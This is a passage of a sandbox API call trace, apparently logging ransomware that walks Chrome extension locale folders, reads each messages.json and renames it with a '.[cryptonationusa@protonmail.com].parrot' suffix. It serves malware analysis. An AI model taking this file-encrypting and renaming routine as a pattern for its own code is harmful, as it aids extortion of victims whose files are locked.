ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.961] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1cb, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.961] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.961] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.962] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.962] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xb3, lpOverlapped=0x0) returned 1 [0071.962] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.963] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1cb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.963] CloseHandle (hObject=0x28c) returned 1 [0071.963] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.965] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.965] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8615720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.965] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb85ef5c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.965] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.967] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.968] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.968] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.968] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.968] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.968] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.968] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.968] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.969] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.969] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc4, lpOverlapped=0x0) returned 1 [0071.969] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.969] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.969] CloseHandle (hObject=0x28c) returned 1 [0071.970] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.972] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.972] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8615720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.972] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.972] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.972] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.972] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.972] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.972] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.972] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x150, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.973] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x268, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.973] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.973] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.974] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.974] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x150, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x150, lpOverlapped=0x0) returned 1 [0071.974] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.974] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x268, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.974] CloseHandle (hObject=0x28c) returned 1 [0071.974] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.976] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.976] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8615720, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.976] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x278, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.977] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.978] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.978] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa0520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fa0520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.978] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.978] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.978] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.979] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x22d, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.979] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.979] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.980] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.980] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x115, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x115, lpOverlapped=0x0) returned 1 [0071.980] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.980] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x22d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.980] CloseHandle (hObject=0x28c) returned 1 [0071.980] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.985] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb863b880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb863b880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.985] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fa2460, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb8615720, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x238, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0071.985] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.985] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0071.985] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fc6680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.985] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0071.985] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0071.985] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0071.986] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x23d, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.986] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0071.986] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0071.987] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.987] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x125, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x125, lpOverlapped=0x0) returned 1 [0071.987] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.987] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x23d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.987] CloseHandle (hObject=0x28c) returned 1 [0071.988] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0071.993] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0071.993] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb863b880, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb863b880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.994] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fc6e50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb863b880, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, 